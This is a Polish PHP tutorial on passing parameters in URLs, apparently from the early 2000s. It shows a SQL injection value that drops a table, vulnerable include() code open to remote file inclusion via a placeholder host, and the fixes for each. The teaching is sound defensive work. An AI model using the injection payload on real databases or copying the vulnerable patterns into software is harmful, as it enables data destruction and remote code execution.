YGREG.COM - Parametry w adresie 

29.07.2004
Nowa oferta hostingowa.

29.07.2004
Kurs XPath.

13.10.2002
Poprawiony problem z oznaczaniem przeczytanych wiadomości na forum.

13.06.2002
PHP z Zend Engine 2 już dostępne!

17.02.2002
Zmiany w organizacji serwisu.








Początek strony

(C)opyright 1997-2007
by Grzegorz Plebański
INDEX I ARTYKUŁY I SKRYPTY I DOWNLOAD

Dodaj stronę
do ulubionych

Artykuły i kursy
   PHP
   XML
   CGI
   HTML
   Inne

Skrypty PHP
   Komunikacja
   Księgi gości
   Statystyki
   Głosowania
   Bannery
   Inne
Skrypty CGI

Download



Parametry w adresie





Wstęp

        Ostatnio na forum pojawiało się sporo pytań na temat przekazywania parametrów do skryptu przez adres. Pytały głównie osoby, które widziały gdzieś adres w stylu index.php3?id=78 i chciały wiedzieć co to jest lub mieć taki sam. Uznałem więc, że warto byłoby omówić temat trochę dokładniej.



Wady i zalety

        Z tego co zauważyłem, duża cześć osób zainteresowanych tematem nie wiedziała do czego to służy, ale chciała mieć takie adresy "bo to fajnie wygląda". Zaczne więc może nietypowo, od WAD tego rozwiązania. A jest ich trochę. Pierwsza i najważniejsza: wyszukiwarki. Większość wyszukiwarek nie indeksuje stron o adresach zawierających znak '?'. Następnym problemem jest to, że użytkownik na pewno nie zapamięta takiego adresu. Jeśli adresem strony jest www.firma.pl/produkt jest duża szansa, że zainteresowany użytkownik go zapamięta. Jeśli natomiast zmienimy to na www.firma.pl/index.php3?dzial=produkty&id=7 nikt nawet tego nie przeczyta!
        Dlatego dążyć należy raczej do uzyskania normalnego adresu, a nie na siłę dodawać do niego parametry. W tę stronę jest dość łatwo: jeśli mamy skrypt wyświetlający jakieś dane po podaniu parametrów, np: index.php3?dzial=3&id=17 można utwożyć krótki skrypt który będzie służył jako "alias" dla tamtego adresu:

   
$dzial=3;
$id=17;
include("index.php3");




Użycie parametrów

        Kiedy więc należy używać adresów z parametrami? Odpowiedź jest prosta: tylko wtedy gdy jest to konieczne! Na przykład kiedy strony są generowane dynamicznie na podstawie informacji wprowadzanych przez różnych ludzi, lub jest ich zbyt dużo, by dla każdej tworzyć osobny plik.
        Jeżeli więc dalej uważasz, że przekazywanie parametrów w adresie jest Ci potrzebne, pozostaje pytanie jak to zrobić? Sprawa jest bardzo prosta. W skrypcie są automatycznie tworzone zmienne o nazwach i wartościach odpowiadających parametrom. Tak więc po wywołaniu index.php3?a=1&b=3&c=173 w skrypcie będą dostępna 3 zmienne:
$a o wartości 1
$b o wartości 3
$c o wartości 173



Parametry i bazy danych

        Pozostaje już 'tylko' jeden problem - do czego ich użyć. Najczęściej będzie to pewnie wyciąganie jakichś danych z bazy SQLowej. Trzeba przy tym bardzo uważać na bezpieczeństwo. Pamiętej że w zmiennej podawanej przez adres użytkownik może wpisać cokolwiek - niekoniecznie to, czego się spodziewasz. Załóżmy że mamy następujący kod:

   
$QUERY="SELECT * FROM articles 
WHERE ID=\"$id\"";
$result=mysql_query($QUERY);

        gdzie $id to zmienna przekazywana z parametru. Co się dzieje? Jeśli użytkownik korzysta z linków i formularzy na stronie, wszystko jest w porządku. A co jeśli zachce mu się trochę "poeksperymentować"? Może dać zmiennej id w adresie wartość:

   
7"; drop table articles;

        Właśnie straciliśmy tabelę z artykułami. Niezbyt przyjemne, co? Dlatego zawsze trzeba sprawdzić co dostaje się jako parametr. Jeśli parametr powinien być liczbą, jest to stosunkowo proste. Wystarczy przed użyciem zmiennej upewnić się, że ma typ liczbowy:

   
$id=(int)$id;

        Teraz mamy pewność, że będzie to liczba. Trzeba jeszcze oczywiście zadbać, żeby skrypt nie miał problemu kiedy dostanie jakąś liczbę której się nie spodziewa, ale to już nie problem.



Parametry i funkcja include

        Parametrów można też użyć do wklejania funkcją include innych plików. To też może prowadzić do niebezpiecznych sytuacji. Przykład: mamy pliki 1.htm, 2.htm idt. wstawiane do skryptu w zależności od parametru id:

   
<HTML>
<BODY>
Tu jakieś menu,
czy coś w tym stylu.

<? include("$id.htm"); ?>

i jeszcze stopka.

</BODY>
</HTML>

        Pierwsza dziura jaką tu widać, to to, że skrypt pozwala na podejrzenie zawartości dowolnego pliku. Ale to jeszcze nie jest najgorsze - ten skrypt pozwala na wykonanie dowolnego kodu PHP! Wystarczy wywołać skrypt.php3?id=http://www.jakisserwer.com/costam a skrypt ściągnie plik costam.htm i wykona umieszczony w nim kod.
        Jak więc należy napisać ten kod, aby był bezpieczny? Można użyć tej samej metody co w przypadku baz danych, dodatkowo sprawdzając jeszcze czy plik istnieje:

   
<HTML>
<BODY>
Tu jakieś menu,
czy coś w tym stylu.


<? 
   $id=(int)$id;
   if(file_exists("$id.htm"))
      include("$id.htm"); 
   else
      echo("Zły parametr.");
?>

i jeszcze stopka.

</BODY>
</HTML>




Uwagi końcowe

        Mam nadzieję że udało mi się pokazać zastosowania i sposób użycia parametrów przekazywanych przez adres. Mam też nadzieję, że udało mi się pokazać że czasem nie warto tego robić. Pytania i uwagi jak zwykle proszę kierować na Forum.


Grzegorz 'Ygreg' Plebański
ygreg@ygreg.com
http://www.ygreg.com